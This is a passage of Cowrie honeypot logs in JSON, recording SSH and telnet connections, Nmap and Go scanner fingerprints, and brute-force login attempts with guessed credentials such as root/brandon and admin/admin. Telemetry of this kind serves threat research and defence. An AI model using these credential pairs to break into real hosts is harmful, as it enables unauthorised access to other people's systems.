mac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:24:21.015781Z","src_ip":"109.172.54.111","session":"5346f95f1551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lbvjxrf","message":"login attempt [root/lbvjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:24:21.416223Z","src_ip":"109.172.54.111","session":"5346f95f1551","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:24:22.516123Z","src_ip":"109.172.54.111","session":"5346f95f1551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45612,"dst_ip":"10.17.0.5","dst_port":23,"session":"6233a0d5b915","protocol":"telnet","message":"New connection: 192.119.13.58:45612 (10.17.0.5:23) [session: 6233a0d5b915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:24:26.446707Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.111.118","src_port":6716,"dst_ip":"10.17.0.5","dst_port":22,"session":"83ef07953028","protocol":"ssh","message":"New connection: 35.205.111.118:6716 (10.17.0.5:22) [session: 83ef07953028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:24:28.846137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Fingerprintx-SSH2","message":"Remote SSH version: SSH-2.0-Fingerprintx-SSH2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:24:28.926618Z","src_ip":"35.205.111.118","session":"83ef07953028","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.205.111.118","src_port":6722,"dst_ip":"10.17.0.5","dst_port":22,"session":"c76dfc818cd0","protocol":"ssh","message":"New connection: 35.205.111.118:6722 (10.17.0.5:22) [session: c76dfc818cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:24:29.081946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:24:29.086993Z","src_ip":"35.205.111.118","session":"c76dfc818cd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dde267e50f82fcc16a7e1e7b59b8af71","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256@libssh.org,curve25519-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256@libssh.org","curve25519-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: dde267e50f82fcc16a7e1e7b59b8af71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:24:29.166516Z","src_ip":"35.205.111.118","session":"c76dfc818cd0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:24:30.456048Z","src_ip":"35.205.111.118","session":"c76dfc818cd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:24:30.538177Z","src_ip":"35.205.111.118","session":"c76dfc818cd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:24:30.546497Z","src_ip":"35.205.111.118","session":"83ef07953028","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:24:34.990007Z","src_ip":"35.205.111.118","session":"83ef07953028","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":36558,"dst_ip":"159.203.135.109","dst_port":22,"session":"2689ea23a840","protocol":"ssh","message":"New connection: 103.195.236.96:36558 (159.203.135.109:22) [session: 2689ea23a840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:24:42.200565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:24:42.206401Z","src_ip":"103.195.236.96","session":"2689ea23a840","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:24:42.445946Z","src_ip":"103.195.236.96","session":"2689ea23a840","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"brandon","message":"login attempt [root/brandon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:24:43.166280Z","src_ip":"103.195.236.96","session":"2689ea23a840","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:24:44.408747Z","src_ip":"103.195.236.96","session":"2689ea23a840","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.165170192718506,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:00.611603Z","src_ip":"192.119.13.58","session":"6233a0d5b915","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":57400,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebed690211c8","protocol":"ssh","message":"New connection: 147.45.199.80:57400 (159.203.135.109:22) [session: ebed690211c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:05.916395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:05.924804Z","src_ip":"147.45.199.80","session":"ebed690211c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:06.022045Z","src_ip":"147.45.199.80","session":"ebed690211c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"black","message":"login attempt [root/black] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:06.311063Z","src_ip":"147.45.199.80","session":"ebed690211c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:07.411547Z","src_ip":"147.45.199.80","session":"ebed690211c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.127.59","src_port":19356,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a49862599a9","protocol":"ssh","message":"New connection: 104.155.127.59:19356 (10.17.0.5:22) [session: 8a49862599a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:12.448318Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:12.529945Z","src_ip":"104.155.127.59","session":"8a49862599a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.127.59","src_port":19370,"dst_ip":"10.17.0.5","dst_port":22,"session":"08f9a44fd86e","protocol":"ssh","message":"New connection: 104.155.127.59:19370 (10.17.0.5:22) [session: 08f9a44fd86e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:18.488183Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.127.59","src_port":19378,"dst_ip":"10.17.0.5","dst_port":22,"session":"62ca7ab04647","protocol":"ssh","message":"New connection: 104.155.127.59:19378 (10.17.0.5:22) [session: 62ca7ab04647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:18.493235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap_SSH2_Enum_Algos","message":"Remote SSH version: SSH-2.0-Nmap_SSH2_Enum_Algos","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:18.606233Z","src_ip":"104.155.127.59","session":"08f9a44fd86e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-Nmap-SSH1-Hostkey","message":"Remote SSH version: SSH-1.5-Nmap-SSH1-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:18.660331Z","src_ip":"104.155.127.59","session":"62ca7ab04647","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:18.666324Z","src_ip":"104.155.127.59","session":"62ca7ab04647","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a20aced7c9824fd804f59e68dd801ad3","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a20aced7c9824fd804f59e68dd801ad3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:18.710366Z","src_ip":"104.155.127.59","session":"08f9a44fd86e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:18.716355Z","src_ip":"104.155.127.59","session":"08f9a44fd86e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.127.59","src_port":19380,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dfe574b8d9d","protocol":"ssh","message":"New connection: 104.155.127.59:19380 (10.17.0.5:22) [session: 0dfe574b8d9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:18.888301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:19.017335Z","src_ip":"104.155.127.59","session":"0dfe574b8d9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-dss"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:19.091187Z","src_ip":"104.155.127.59","session":"0dfe574b8d9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:19.096746Z","src_ip":"104.155.127.59","session":"0dfe574b8d9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.127.59","src_port":19382,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bb0a5b870ce","protocol":"ssh","message":"New connection: 104.155.127.59:19382 (10.17.0.5:22) [session: 6bb0a5b870ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:19.243145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:19.371603Z","src_ip":"104.155.127.59","session":"6bb0a5b870ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:19.446393Z","src_ip":"104.155.127.59","session":"6bb0a5b870ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:19.679519Z","src_ip":"104.155.127.59","session":"6bb0a5b870ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.127.59","src_port":19394,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a8477194aae","protocol":"ssh","message":"New connection: 104.155.127.59:19394 (10.17.0.5:22) [session: 1a8477194aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:19.755577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:19.886338Z","src_ip":"104.155.127.59","session":"1a8477194aae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp256"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:19.961848Z","src_ip":"104.155.127.59","session":"1a8477194aae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:20.196036Z","src_ip":"104.155.127.59","session":"1a8477194aae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.127.59","src_port":19406,"dst_ip":"10.17.0.5","dst_port":22,"session":"860f6cb4b995","protocol":"ssh","message":"New connection: 104.155.127.59:19406 (10.17.0.5:22) [session: 860f6cb4b995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:20.271221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:20.404119Z","src_ip":"104.155.127.59","session":"860f6cb4b995","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp384"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:20.479435Z","src_ip":"104.155.127.59","session":"860f6cb4b995","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:20.485234Z","src_ip":"104.155.127.59","session":"860f6cb4b995","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.127.59","src_port":19410,"dst_ip":"10.17.0.5","dst_port":22,"session":"a35613e482f1","protocol":"ssh","message":"New connection: 104.155.127.59:19410 (10.17.0.5:22) [session: a35613e482f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:20.633899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:25:20.767912Z","src_ip":"104.155.127.59","session":"a35613e482f1","protocol":"ssh"}
